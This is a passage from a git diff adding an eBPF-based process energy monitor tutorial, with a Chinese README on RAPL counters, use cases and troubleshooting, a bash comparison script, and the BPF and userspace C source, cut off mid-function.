num_cpus; i++) { + runtime_us += values[i]; + } + + // 计算能量 + double energy_mj = (env.cpu_power_watts * runtime_us) / 1000000.0; + printf("%-10d %-16s %-15.2f %-15.4f\n", + next_key, comm, runtime_ms, energy_mj); + } + } +} +``` + +## 构建和运行能源监控器 + +### 先决条件 + +在构建之前,需要确保系统环境满足几个基本要求。首先需要 Linux 内核 5.4 或更新版本,且支持 BTF(BPF 类型格式)功能。其次要安装 libbpf 开发文件,这是 eBPF 程序开发的基础库。编译 eBPF 程序需要 clang 和 llvm 工具链。最后,还需要安装基本的构建工具,包括 make 和 gcc。 + +### 编译 + +使用提供的 Makefile 构建所有组件: + +```bash +cd /home/yunwei37/bpf-developer-tutorial/src/48-energy +make clean && make +``` + +编译完成后会生成三个主要的可执行文件。`energy_monitor` 是基于 eBPF 的能源监控器,提供高精度的实时监控功能。`energy_monitor_traditional.sh` 是传统的基于轮询的监控器,使用 `/proc` 文件系统进行采样。`compare_monitors.sh` 则是用于比较两种方法效率和精度的脚本。 + +### 运行 eBPF 监控器 + +eBPF 监控器需要 root 权限才能附加到内核跟踪点: + +```bash +# 以 15W CPU 功率监控所有进程 10 秒 +sudo ./energy_monitor -d 10 -p 15.0 + +# 详细输出监控 +sudo ./energy_monitor -v -d 10 + +# 持续监控(Ctrl+C 停止) +sudo ./energy_monitor +``` + +示例输出: + +``` +能源监控器已启动... 按 Ctrl-C 结束。 +CPU 功率:15.00 W +运行 10 秒 + +=== 能源使用摘要 === +PID COMM 运行时间 (ms) 能量 (mJ) +---------- ---------------- --------------- --------------- +39716 firefox 541.73 8.1260 +19845 node 67.71 1.0157 +39719 vscode 63.15 0.9472 +29712 chrome 13.34 0.2000 +... + +总 CPU 时间:2781.52 ms +总估计能量:0.0417 J (41.7229 mJ) +CPU 功率设置:15.00 W +``` + +### 运行传统监控器 + +传统监控器使用 `/proc` 采样,无需特殊权限即可运行: + +```bash +# 详细输出监控 10 秒 +./energy_monitor_traditional.sh -d 10 -v + +# 调整采样间隔(默认 100ms) +./energy_monitor_traditional.sh -d 10 -i 0.05 +``` + +### 比较两种方法 + +使用比较脚本查看差异: + +```bash +# 基本比较 +sudo ./compare_monitors.sh -d 10 + +# 带有 CPU 工作负载 +sudo ./compare_monitors.sh -d 10 -w "stress --cpu 2 --timeout 10" +``` + +比较输出示例: + +``` +比较结果 +================== + +指标 传统 eBPF +------------------------- --------------- --------------- +总能量 (J) 1.050000 0.0288 +监控时间 (s) 5.112031 4.500215 +样本/事件 50 连续 + +性能分析: +- 传统监控开销:与 eBPF 相比为 13.00% +- eBPF 提供每个上下文切换的粒度 +- 传统采样以固定间隔(100ms) +``` + +### 硬件 RAPL 能源测量 + +能源监控器现已内置**对 Intel RAPL(运行平均功率限制)硬件计数器的原生支持**,可直接从 CPU 硬件获取实时能源测量,而无需依赖软件估算。RAPL 在 Intel Sandy Bridge(2011 年)之后的处理器和 AMD Zen+(2019 年)之后的处理器上可用。 + +当 RAPL 可用时,工具会通过 Linux `perf_event` 接口自动检测并使用硬件能源计数器。相比软件估算,这提供了几个显著优势:它能够捕获实际功耗,包括动态频率调节(DVFS)、CPU 空闲状态(C 状态)和电压变化,这些是简单的基于时间的估算无法考虑的。RAPL 可以测量多个能源域,包括整个 CPU 封装、单独的核心、集成显卡(uncore)和 DRAM,为您提供系统能源消耗的完整画面。 + +使用 RAPL 硬件测量: + +```bash +# 自动 RAPL 检测(默认行为) +sudo ./energy_monitor -d 10 + +# 禁用 RAPL 并使用软件估算 +sudo ./energy_monitor -d 10 --no-rapl -p 15.0 + +# 检查系统上的 RAPL 可用性 +ls /sys/bus/event_source/devices/power/events/ +``` + +启用 RAPL 的示例输出: + +``` +RAPL initialized with 2 domains +Using hardware RAPL energy counters +Energy monitor started... Hit Ctrl-C to end. + +=== Energy Usage Summary === +PID COMM Runtime (ms) Energy (mJ) +... + +=== RAPL Hardware Energy Measurements === +pkg : 231.716422 J (231716.42 mJ) +cores : 159.937200 J (159937.20 mJ) + +Total RAPL energy: 391.653622 J (391653.62 mJ) +Measurement method: Hardware RAPL counters +``` + +RAPL 测量显示所有进程的总系统能源消耗,而每个进程的 CPU 时间细分有助于识别哪些应用程序消耗了最多的 CPU 周期。有关 RAPL 和功率限制的更多信息,请参阅 [Linux Powercap 框架文档](https://docs.kernel.org/power/powercap/powercap.html)。 + +## 理解能源监控权衡 + +虽然我们的能源监控器提供了有价值的见解,但了解其局限性和权衡很重要: + +### 精度考虑 + +我们的能源监控模型采用简化方法,使用公式:能量 = CPU_功率 × CPU_时间。虽然这提供了有价值的比较见解,但它没有考虑影响实际功耗的几个动态因素。 + +**频率调节**是一个重要限制,因为现代 CPU 根据工作负载和热条件动态改变频率。不同的**空闲状态**(C 状态)也消耗不同的功率,从深度睡眠中的接近零到浅空闲状态中的显著待机功率。此外,**工作负载特性**很重要,因为某些指令(特别是向量操作和内存密集型任务)每个周期消耗的功率比简单的算术运算更多。 + +该模型还忽略了来自缓存、内存控制器和 I/O 子系统的**共享资源消耗**,这些都有助于总系统功率,但不能直接归因于 CPU 执行时间。 + +对于需要更高精度的生产部署,增强功能将包括读取硬件性能计数器以进行实际功率测量,通过 DVFS 事件跟踪频率变化,基于性能计数器对不同指令类型进行建模,以及合并来自更广泛系统的内存和 I/O 活动指标。 + +### 何时使用每种方法 + +在 eBPF 和传统监控之间进行选择取决于您的具体要求和约束。 + +**eBPF 监控**在您需要准确的 CPU 时间跟踪时表现出色,特别是对于传统采样可能完全错过的短暂进程。其最小的测量开销使其成为生产环境的理想选择,在生产环境中,监控工具本身不应影响被测量的工作负载。eBPF 对于进程之间的比较分析特别有价值,其中相对精度比绝对精度更重要。 + +**传统监控**在由于权限限制或缺少 BTF 支持的旧内核版本而无法使用 eBPF 时仍然适用。它提供了一个简单、可移植的解决方案,不需要特殊权限,可以跨不同平台工作。对于监控长时间运行的稳定工作负载,其中近似测量就足够了,传统方法提供了足够的洞察力,部署要求更简单。 + +## 实际用例和部署场景 + +了解何时以及如何部署 eBPF 能源监控有助于最大化其价值。以下是它表现出色的现实场景: + +### 数据中心能源优化 + +现代数据中心在严格的功率预算和冷却约束下运行,eBPF 能源监控提供了关键的运营能力。当调度器了解不同应用程序的能源配置文件时,**工作负载放置**变得智能化,从而在机架之间实现平衡的功耗,同时避免热点并最大化整体效率。 + +在高峰需求期间,**功率上限**系统可以利用实时能源归因来识别和选择性地限制最耗电的进程,而不影响关键服务。这种外科手术方法在保持在电力基础设施限制内的同时维持服务水平。 + +对于云提供商,**计费和退款**准确性推动客户行为朝着更高效的代码发展。当客户可以看到其工作负载的实际能源成本时,他们有直接的财务激励来优化其应用程序的能源效率。 + +### 移动和边缘计算 + +电池供电设备提出了独特的能源约束,其中精确监控对于用户体验和设备寿命至关重要。**应用程序能源分析**使开发人员能够在不同操作期间获得准确的能源消耗数据,从而实现有针对性的优化,可以显著延长电池寿命而不牺牲功能。 + +操作系统受益于**后台任务管理**智能,其中历史能源消耗模式告知有关允许或推迟哪些后台任务的决策。这可以防止耗能的后台进程耗尽电池,同时维护基本服务。 + +在没有主动冷却的设备中,**热管理**变得至关重要,因为能源监控有助于在节流发生之前预测热量积累。通过了解能源模式,系统可以主动管理工作负载,以在热限制内保持一致的性能。 + +### 开发和 CI/CD 集成 + +将能源监控集成到开发工作流中会创建一个连续的反馈循环,防止效率倒退到达生产环境。**能源回归测试**通过 CI/CD 管道变得自动化,这些管道标记将能源消耗增加到预定义阈值以上的代码更改,将能源效率视为一流的软件质量指标。 + +**性能/瓦特优化**为开发人员提供了对性能改进的真实成本的可见性。一些优化可能会提高速度,同时大幅增加能源消耗,而另一些可能会以最小的性能影响实现更好的效率。这种可见性支持基于实际工作负载要求的明智架构决策,平衡速度和效率。 + +**绿色软件指标**集成允许组织跟踪和报告能源效率作为可持续性计划的一部分。定期测量为环境影响报告提供了具体数据,同时为软件团队创建了在其开发实践中考虑能源效率的问责制。 + +### 研究和教育 + +eBPF 能源监控作为一种强大的研究和教育工具,弥合了理论理解和实际系统行为之间的差距。当研究人员可以在生产现实条件下测量方法之间的能源效率差异时,**算法比较**变得严格,提供了补充理论复杂性分析的经验数据。 + +**系统行为分析**从能源角度揭示了不同组件之间的复杂交互,发现了仅查看性能指标时不明显的优化机会。这些见解推动了考虑总拥有成本(包括运营能源成本)的系统设计决策。 + +作为**教学工具**,能源监控通过向学生展示其代码的即时能源影响,使抽象概念变得具体。当算法复杂性讨论与真实能源测量配对时,学生们对其设计选择的实际影响有了直觉,而不仅仅是计算效率。 + +## 扩展能源监控器 + +当前实现已包含**原生 RAPL 硬件计数器支持**以实现实时能源测量,并为构建更复杂的能源监控功能提供了坚实的基础。多个扩展方向为不同的部署场景提供了重要价值。 + +| 扩展领域 | 实现状态 | 价值主张 | +|---------|---------|---------| +| **硬件计数器集成** | ✅ **已实现** - 通过 `perf_event_open()` 的 RAPL 计数器 | 实际硬件测量,自动回退功能 | +| **每核功率建模** | 未来增强 | 异构处理器上的准确归因(P 核与 E 核) | +| **工作负载分类** | 未来增强 | 实现特定工作负载的功率优化 | +| **容器运行时集成** | 未来增强 | 云原生能源归因和计费 | +| **实时可视化** | 未来增强 | 能源优化的即时反馈 | + +**硬件计数器集成(✅ 已实现)**:能源监控器现已包含完整的 RAPL 支持,通过 Linux `perf_event` 接口读取实际的硬件能源计数器。这提供了跨多个域(封装、核心、DRAM)的精确能源测量,并在 RAPL 不可用时自动回退到软件估算。详情请参阅上面的[硬件 RAPL 能源测量](#硬件-rapl-能源测量)部分。 + +**每核功率建模**在异构处理器上变得至关重要,其中性能核心和效率核心具有截然不同的功率特性。跟踪每个进程在哪个核心上运行可以实现准确的能源归因: + +```c +// 不同的核心可能具有不同的功率特性 +double core_power[MAX_CPUS] = {15.0, 15.0, 10.0, 10.0}; // P 核与 E 核 +``` + +**工作负载分类**通过识别不同的计算模式及其相关的能源成本来增强能源监控: + +```c +enum workload_type { + WORKLOAD_CPU_INTENSIVE, + WORKLOAD_MEMORY_BOUND, + WORKLOAD_IO_BOUND, + WORKLOAD_IDLE +}; +``` + +## 故障排除常见问题 + +部署 eBPF 能源监控时,您可能会遇到这些常见问题: + +### 权限被拒绝 + +如果在运行 eBPF 监控器时看到权限错误: + +```bash +# 检查 BPF 是否已启用 +sudo sysctl kernel.unprivileged_bpf_disabled + +# 启用 BPF 进行调试(不建议用于生产) +sudo sysctl kernel.unprivileged_bpf_disabled=0 +``` + +### 缺少 BTF 信息 + +如果内核缺少 BTF(BPF 类型格式)数据: + +```bash +# 检查 BTF 支持 +ls /sys/kernel/btf/vmlinux + +# 在较旧的内核上,您可能需要生成 BTF +# 或使用带有 CONFIG_DEBUG_INFO_BTF=y 的内核 +``` + +### 高 CPU 使用率 + +如果监控器本身导致高 CPU 使用率,可以采取几种优化措施。首先考虑减少 eBPF 程序中的环形缓冲区大小,这能够降低内存压力和处理开销。其次,增加批量读取事件的大小可以减少系统调用的频率。最有效的方法是在内核中添加事件过滤逻辑,从源头上减少需要传递到用户空间的事件数量。 + +### 缺少进程 + +当发现某些进程没有被正确跟踪时,需要从几个方面进行排查。首先检查这些进程是否运行在不同的 PID 命名空间中,容器化环境经常会出现这种情况。其次,确保监控器在目标进程启动之前就已经运行,否则可能会错过初始的调度事件。最后,验证 eBPF 程序中的哈希映射大小是否足够容纳所有需要跟踪的进程,必要时可以增加 `max_entries` 的值。 + +## 未来方向 + +基于 eBPF 的能源监控领域正在迅速发展。以下是即将到来的令人兴奋的发展: + +### 与硬件加速器集成 + +随着 GPU、TPU 和其他加速器变得普遍,扩展 eBPF 监控以跟踪其能源消耗将提供完整的系统可见性。 + +### 用于功率预测的机器学习 + +使用 eBPF 收集的数据来训练模型,这些模型基于工作负载模式预测未来的功耗,从而实现主动电源管理。 + +### 标准化工作 + +正在进行标准化 eBPF 能源监控接口的工作,使构建跨不同平台工作的可移植工具变得更加容易。 + +### 碳感知计算 + +将能源监控与实时碳强度数据相结合,自动将工作负载转移到具有更清洁能源的时间和地点。 + +## 参考文献和进一步阅读 + +要深入了解本教程中涵盖的主题: + +### 能源和电源管理 + +在能源和电源管理领域,有几个重要的参考资源值得深入研究。Intel 的运行平均功率限制 (RAPL) 文档([https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/advisory-guidance/running-average-power-limit-energy-reporting.html](https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/advisory-guidance/running-average-power-limit-energy-reporting.html))详细解释了如何使用硬件计数器进行精确的能源测量。Linux 电源管理文档([https://www.kernel.org/doc/html/latest/admin-guide/pm/index.html](https://www.kernel.org/doc/html/latest/admin-guide/pm/index.html))提供了内核电源管理子系统的全面指南。而 ACPI 规范([https://uefi.org/specifications](https://uefi.org/specifications))则定义了现代系统电源管理的标准接口。 + +### 相关项目 + +在能源监控生态系统中,有许多值得关注的项目。Kepler(Kubernetes 高效功率级别导出器)作为 CNCF 项目,专门为云原生环境提供能源监控解决方案([https://sustainable-computing.io/](https://sustainable-computing.io/))。Scaphandre([https://github.com/hubblo-org/scaphandre](https://github.com/hubblo-org/scaphandre))提供了另一种功率测量实现,支持多种硬件平台。经典的 PowerTOP 工具([https://github.com/fenrus75/powertop](https://github.com/fenrus75/powertop))一直是 Linux 系统上诊断电源问题的首选工具。最近的 cpufreq_ext eBPF 调节器([https://lwn.net/Articles/991991/](https://lwn.net/Articles/991991/))展示了使用 eBPF 进行动态频率调节的可能性。Wattmeter 项目在 HotCarbon '24 会议上的展示([https://www.asafcidon.com/uploads/5/9/7/0/59701649/energy-aware-ebpf.pdf](https://www.asafcidon.com/uploads/5/9/7/0/59701649/energy-aware-ebpf.pdf))则代表了该领域的最新研究成果。 + +### 学术论文 + +学术界对 eBPF 能源监控的研究日益活跃。HotCarbon '24 会议上发表的 "Linux 中的能源感知进程调度" 论文提出了创新的调度算法。"DEEP-mon:基于容器的基础设施的动态和节能功率监控" 研究展示了如何在容器化环境中实现高效的能源监控。而 "基于 eBPF 的能源感知调度" 等研究论文则探索了将能源感知与任务调度紧密结合的新方法。 + +本教程的完整代码可在以下位置获得:[https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/48-energy](https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/48-energy) + +有关更多 eBPF 教程和项目,请访问:[https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/) + +## 结论 + +随着我们努力实现更可持续的计算,能源监控变得越来越重要。本教程演示了 eBPF 如何在进程级别提供精确、低开销的能源归因,使开发人员和系统管理员能够就能源效率做出明智的决策。 + +eBPF 的内核集成和高效事件处理的结合使其成为生产能源监控的理想选择。无论您是优化数据中心工作负载、延长移动设备的电池寿命,还是只是对应用程序的能源足迹感到好奇,eBPF 都提供了您进行详细分析所需的工具。 + +随着生态系统的成熟,像 Kepler 这样的项目已经投入生产,cpufreq_ext 正在接近主线包含,我们正在进入一个能源感知计算成为默认而不是事后想法的时代。立即开始监控您的应用程序的能源消耗,为更可持续的计算未来做出贡献! \ No newline at end of file diff --git a/src/48-energy/compare_monitors.sh b/src/48-energy/compare_monitors.sh new file mode 100755 index 00000000..021ced21 --- /dev/null +++ b/src/48-energy/compare_monitors.sh @@ -0,0 +1,128 @@ +#!/bin/bash +# Script to compare eBPF and traditional energy monitoring approaches + +set -e + +echo "Energy Monitor Comparison Tool" +echo "==============================" +echo "" + +# Check if we're running as root (required for eBPF) +if [ "$EUID" -ne 0 ]; then + echo "Please run as root (required for eBPF)" + exit 1 +fi + +# Default parameters +DURATION=10 +CPU_POWER=15.0 +WORKLOAD="" + +# Parse arguments +while getopts "d:p:w:" opt; do + case $opt in + d) DURATION=$OPTARG ;; + p) CPU_POWER=$OPTARG ;; + w) WORKLOAD=$OPTARG ;; + ?) echo "Usage: $0 [-d duration] [-p power_watts] [-w 'workload command']" + exit 1 ;; + esac +done + +# Build eBPF program if needed +if [ ! -f "energy_monitor" ]; then + echo "Building eBPF energy monitor..." + make energy_monitor +fi + +# Function to run a monitor +run_monitor() { + local monitor_type=$1 + local output_file=$2 + + echo "Running $monitor_type monitor for ${DURATION} seconds..." + + if [ "$monitor_type" = "eBPF" ]; then + ./energy_monitor -d $DURATION -p $CPU_POWER > $output_file 2>&1 + else + ./energy_monitor_traditional.sh -d $DURATION -p $CPU_POWER -i 0.1 > $output_file 2>&1 + fi +} + +# Start workload if specified +if [ -n "$WORKLOAD" ]; then + echo "Starting workload: $WORKLOAD" + eval "$WORKLOAD" & + WORKLOAD_PID=$! + sleep 1 +fi + +# Run traditional monitor +echo "" +echo "Phase 1: Traditional /proc-based monitoring" +echo "-------------------------------------------" +START_TIME=$(date +%s.%N) +run_monitor "traditional" /tmp/traditional_output.txt +END_TIME=$(date +%s.%N) +TRADITIONAL_TIME=$(echo "$END_TIME - $START_TIME" | bc) + +# Extract traditional results +TRADITIONAL_TOTAL=$(grep "Total estimated energy:" /tmp/traditional_output.txt | awk '{print $4}') +TRADITIONAL_SAMPLES=$(grep "Samples collected:" /tmp/traditional_output.txt | awk '{print $3}') + +# Wait a bit between tests +sleep 2 + +# Run eBPF monitor +echo "" +echo "Phase 2: eBPF-based monitoring" +echo "------------------------------" +START_TIME=$(date +%s.%N) +run_monitor "eBPF" /tmp/ebpf_output.txt +END_TIME=$(date +%s.%N) +EBPF_TIME=$(echo "$END_TIME - $START_TIME" | bc) + +# Extract eBPF results +EBPF_TOTAL=$(grep "Total estimated energy:" /tmp/ebpf_output.txt | grep -oE '[0-9]+\.[0-9]+ J' | awk '{print $1}') + +# Stop workload if running +if [ -n "$WORKLOAD_PID" ]; then + kill $WORKLOAD_PID 2>/dev/null || true + wait $WORKLOAD_PID 2>/dev/null || true +fi + +# Display comparison +echo "" +echo "Comparison Results" +echo "==================" +echo "" +printf "%-25s %-15s %-15s\n" "Metric" "Traditional" "eBPF" +printf "%-25s %-15s %-15s\n" "-------------------------" "---------------" "---------------" +printf "%-25s %-15s %-15s\n" "Total Energy (J)" "$TRADITIONAL_TOTAL" "$EBPF_TOTAL" +printf "%-25s %-15s %-15s\n" "Monitoring Time (s)" "$TRADITIONAL_TIME" "$EBPF_TIME" +printf "%-25s %-15s %-15s\n" "Samples/Events" "$TRADITIONAL_SAMPLES" "Continuous" + +# Calculate overhead +OVERHEAD_PERCENT=$(echo "scale=2; ($TRADITIONAL_TIME - $EBPF_TIME) / $EBPF_TIME * 100" | bc) +echo "" +echo "Performance Analysis:" +echo "- Traditional monitoring overhead: ${OVERHEAD_PERCENT}% compared to eBPF" +echo "- eBPF provides per-context-switch granularity" +echo "- Traditional samples at fixed intervals (100ms)" + +# Show top processes from both +echo "" +echo "Top Energy Consumers (Traditional):" +echo "-----------------------------------" +grep -A 5 "PID.*COMM.*Runtime.*Energy" /tmp/traditional_output.txt | head -6 + +echo "" +echo "Top Energy Consumers (eBPF):" +echo "----------------------------" +grep -A 5 "PID.*COMM.*Runtime.*Energy" /tmp/ebpf_output.txt | head -6 + +# Cleanup +rm -f /tmp/traditional_output.txt /tmp/ebpf_output.txt + +echo "" +echo "Comparison complete!" \ No newline at end of file diff --git a/src/48-energy/energy_monitor.bpf.c b/src/48-energy/energy_monitor.bpf.c new file mode 100644 index 00000000..c391a468 --- /dev/null +++ b/src/48-energy/energy_monitor.bpf.c @@ -0,0 +1,104 @@ +// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause +#include "vmlinux.h" +#include +#include +#include +#include "energy_monitor.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +struct { + __uint(type, BPF_MAP_TYPE_PERCPU_HASH); + __uint(max_entries, 10240); + __type(key, u32); + __type(value, u64); +} time_lookup SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_PERCPU_HASH); + __uint(max_entries, 10240); + __type(key, u32); + __type(value, u64); +} runtime_lookup SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +const volatile bool verbose = false; + +static inline u64 div_u64_by_1000(u64 n) { + u64 q, r, t; + t = (n >> 7) + (n >> 8) + (n >> 12); + q = (n >> 1) + t + (n >> 15) + (t >> 11) + (t >> 14); + q = q >> 9; + r = n - q * 1000; + return q + ((r + 24) >> 10); +} + +static int update_runtime(u32 pid, u64 delta) { + u64 time_delta_us = div_u64_by_1000(delta); + u64 *current = bpf_map_lookup_elem(&runtime_lookup, &pid); + + if (current) { + time_delta_us += *current; + } + + return bpf_map_update_elem(&runtime_lookup, &pid, &time_delta_us, BPF_ANY); +} + +SEC("tp/sched/sched_switch") +int monitor_energy(struct trace_event_raw_sched_switch *ctx) +{ + u64 ts = bpf_ktime_get_ns(); + u32 cpu = bpf_get_smp_processor_id(); + struct energy_event *e; + + u32 prev_pid = ctx->prev_pid; + u32 next_pid = ctx->next_pid; + + // Calculate runtime for the previous process + u64 *old_ts_ptr = bpf_map_lookup_elem(&time_lookup, &prev_pid); + if (old_ts_ptr) { + u64 delta = ts - *old_ts_ptr; + + if (verbose) { + bpf_printk("CPU %d: PID %d ran for %llu ns", cpu, prev_pid, delta); + } + + // Update total runtime + if (update_runtime(prev_pid, delta) != 0) { + return 1; + } + + // Send event to userspace + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (e) { + e->ts = ts; + e->cpu = cpu; + e->pid = prev_pid; + e->runtime_ns = delta; + bpf_probe_read_kernel_str(e->comm, sizeof(e->comm), ctx->prev_comm); + + bpf_ringbuf_submit(e, 0); + } + } + + // Record when the next process starts running + bpf_map_update_elem(&time_lookup, &next_pid, &ts, BPF_ANY); + + return 0; +} + +SEC("tracepoint/sched/sched_process_exit") +int handle_exit(struct trace_event_raw_sched_process_template *ctx) +{ + u32 pid = bpf_get_current_pid_tgid() >> 32; + + // Clean up maps + bpf_map_delete_elem(&time_lookup, &pid); + bpf_map_delete_elem(&runtime_lookup, &pid); + + return 0; +} \ No newline at end of file diff --git a/src/48-energy/energy_monitor.c b/src/48-energy/energy_monitor.c new file mode 100644 index 00000000..5ee7a2f7 --- /dev/null +++ b/src/48-energy/energy_monitor.c @@ -0,0 +1,491 @@ +// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "energy_monitor.h" +#include "energy_monitor.skel.h" +#include + +static volatile bool exiting = false; + +static struct env { + bool verbose; + int duration; + double cpu_power_watts; // CPU power in watts (fallback if RAPL unavailable) + bool use_rapl; // Use RAPL counters if available +} env = { + .verbose = false, + .duration = 0, + .cpu_power_watts = 15.0, // Default 15W per CPU + .use_rapl = true, // Try to use RAPL by default +}; + +// RAPL perf event file descriptors +static int rapl_fds[MAX_CPUS][RAPL_MAX_DOMAINS]; +static int num_rapl_domains = 0; +static const char *rapl_domain_names[] = { + [RAPL_PKG] = "pkg", + [RAPL_CORE] = "cores", + [RAPL_UNCORE] = "uncore", + [RAPL_DRAM] = "ram", + [RAPL_PSYS] = "psys", +}; + +const char *argp_program_version = "energy_monitor 0.1"; +const char *argp_program_bug_address = "<>"; +const char argp_program_doc[] = +"eBPF-based energy monitoring tool with RAPL support.\n" +"\n" +"This tool monitors process energy consumption by tracking CPU time\n" +"and reading hardware RAPL (Running Average Power Limit) counters.\n" +"Falls back to power estimation if RAPL is unavailable.\n" +"\n" +"USAGE: ./energy_monitor [-v] [-d ] [-p ] [--no-rapl]\n"; + +static const struct argp_option opts[] = { + { "verbose", 'v', NULL, 0, "Verbose debug output" }, + { "duration", 'd', "SECONDS", 0, "Duration to run (0 for infinite)" }, + { "power", 'p', "WATTS", 0, "CPU power in watts for estimation (default: 15.0, used if RAPL unavailable)" }, + { "no-rapl", 'n', NULL, 0, "Disable RAPL and use power estimation" }, + { NULL, 'h', NULL, OPTION_HIDDEN, "Show the full help" }, + {}, +}; + +static error_t parse_arg(int key, char *arg, struct argp_state *state) +{ + switch (key) { + case 'v': + env.verbose = true; + break; + case 'd': + env.duration = strtol(arg, NULL, 10); + if (env.duration < 0) { + fprintf(stderr, "Invalid duration: %s\n", arg); + argp_usage(state); + } + break; + case 'p': + env.cpu_power_watts = strtod(arg, NULL); + if (env.cpu_power_watts <= 0) { + fprintf(stderr, "Invalid power value: %s\n", arg); + argp_usage(state); + } + break; + case 'n': + env.use_rapl = false; + break; + case 'h': + argp_state_help(state, stderr, ARGP_HELP_STD_HELP); + break; + default: + return ARGP_ERR_UNKNOWN; + } + return 0; +} + +static const struct argp argp = { + .options = opts, + .parser = parse_arg, + .doc = argp_program_doc, +}; + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + if (level == LIBBPF_DEBUG && !env.verbose) + return 0; + return vfprintf(stderr, format, args); +} + +static void sig_handler(int sig) +{ + exiting = true; +} + +// Helper function to open perf event +static int perf_event_open(struct perf_event_attr *attr, pid_t pid, int cpu, int group_fd, unsigned long flags) +{ + return syscall(__NR_perf_event_open, attr, pid, cpu, group_fd, flags); +} + +// Read RAPL type from sysfs +static int read_rapl_type(void) +{ + FILE *f; + int type = -1; + + f = fopen("/sys/bus/event_source/devices/power/type", "r"); + if (!f) { + if (env.verbose) + fprintf(stderr, "Cannot open RAPL type file (RAPL may not be available)\n"); + return -1; + } + + if (fscanf(f, "%d", &type) != 1) { + fclose(f); + return -1; + } + + fclose(f); + return type; +} + +// Read RAPL event configuration for a specific domain +static int read_rapl_config(const char *domain) +{ + char path[256]; + FILE *f; + int config = -1; + char buf[64]; + + snprintf(path, sizeof(path), "/sys/bus/event_source/devices/power/events/energy-%s", domain); + f = fopen(path, "r"); + if (!f) + return -1; + + // Parse "event=0xXX" format (hexadecimal) + if (fgets(buf, sizeof(buf), f)) { + if (sscanf(buf, "event=%i", &config) != 1) { + // Try parsing as hex if decimal fails + sscanf(buf, "event=0x%x", &config); + } + } + + fclose(f); + return config; +} + +// Initialize RAPL perf events +static int init_rapl(void) +{ + int rapl_type; + int num_cpus = libbpf_num_possible_cpus(); + + if (!env.use_rapl) + return -1; + + rapl_type = read_rapl_type(); + if (rapl_type < 0) { + fprintf(stderr, "RAPL not available on this system, falling back to estimation\n"); + return -1; + } + + if (env.verbose) + printf("RAPL type: %d\n", rapl_type); + + // Initialize all FDs to -1 + for (int cpu = 0; cpu < MAX_CPUS; cpu++) { + for (int domain = 0; domain < RAPL_MAX_DOMAINS; domain++) { + rapl_fds[cpu][domain] = -1; + } + } + + // Try to open each domain + for (int domain = 0; domain < RAPL_MAX_DOMAINS; domain++) { + int config = read_rapl_config(rapl_domain_names[domain]); + if (config < 0) + continue; + + if (env.verbose) + printf("Found RAPL domain: %s (config=0x%x)\n", rapl_domain_names[domain], config); + + // Open perf event for CPU 0 (package-level events are per-socket, not per-CPU) + struct perf_event_attr attr = { + .type = rapl_type, + .config = config, + .size = sizeof(struct perf_event_attr), + .inherit = 0, + .disabled = 0, + .exclude_kernel = 0, + .exclude_hv = 0, + }; + + int fd = perf_event_open(&attr, -1, 0, -1, 0); + if (fd < 0) { + if (env.verbose) + fprintf(stderr, "Failed to open RAPL %s: %s\n", + rapl_domain_names[domain], strerror(errno)); + continue; + } + + rapl_fds[0][domain] = fd; + num_rapl_domains++; + + if (env.verbose) + printf("Opened RAPL %s on CPU 0 (fd=%d)\n", rapl_domain_names[domain], fd); + } + + if (num_rapl_domains == 0) { + fprintf(stderr, "No RAPL domains available, falling back to estimation\n"); + return -1; + } + + printf("RAPL initialized with %d domains\n", num_rapl_domains); + return 0; +} + +// Read RAPL energy counter (in nanojoules) +static __u64 read_rapl_energy(int cpu, enum rapl_domain domain) +{ + __u64 energy = 0; + int fd = rapl_fds[cpu][domain]; + + if (fd < 0) + return 0; + + if (read(fd, &energy, sizeof(energy)) != sizeof(energy)) { + if (env.verbose) + fprintf(stderr, "Failed to read RAPL counter\n"); + return 0; + } + + return energy; +} + +// Close all RAPL file descriptors +static void cleanup_rapl(void) +{ + for (int cpu = 0; cpu < MAX_CPUS; cpu++) { + for (int domain = 0; domain < RAPL_MAX_DOMAINS; domain++) { + if (rapl_fds[cpu][domain] >= 0) { + close(rapl_fds[cpu][domain]); + rapl_fds[cpu][domain] = -1; + } + } + } +} + +static int handle_event(void *ctx, void *data, size_t data_sz) +{ + const struct energy_event *e = data; + static __u64 total_energy_nj = 0; + + // Calculate energy in nanojoules + // Energy (J) = Power (W) * Time (s) + // Energy (nJ) = Power (W) * Time (ns) + __u64 energy_nj = (__u64)(env.cpu_power_watts * e->runtime_ns); + total_energy_nj += energy_nj; + + if (env.verbose) { + printf("%-16s pid=%-6d cpu=%-2d runtime=%llu ns energy=%llu nJ\n", + e->comm, e->pid, e->cpu, e->runtime_ns, energy_nj); + } + + return 0; +} + +static void print_stats(struct energy_monitor_bpf *skel, __u64 start_energy[], __u64 end_energy[]) +{ + __u32 key = 0, next_key; + __u64 total_runtime_us = 0; + __u64 *values; + int num_cpus = libbpf_num_possible_cpus(); + bool using_rapl = (num_rapl_domains > 0); + + values = calloc(num_cpus, sizeof(__u64)); + if (!values) { + fprintf(stderr, "Failed to allocate memory\n"); + return; + } + + printf("\n=== Energy Usage Summary ===\n"); + printf("%-10s %-16s %-15s %-15s\n", "PID", "COMM", "Runtime (ms)", "Energy (mJ)"); + printf("%-10s %-16s %-15s %-15s\n", "----------", "----------------", "---------------", "---------------"); + + // Iterate through all PIDs in the runtime map + while (bpf_map_get_next_key(bpf_map__fd(skel->maps.runtime_lookup), &key, &next_key) == 0) { + char comm[TASK_COMM_LEN] = "unknown"; + __u64 runtime_us = 0; + + if (bpf_map_lookup_elem(bpf_map__fd(skel->maps.runtime_lookup), &next_key, values) == 0) { + // Sum up values from all CPUs + for (int i = 0; i < num_cpus; i++) { + runtime_us += values[i]; + } + + // Try to get process name + char 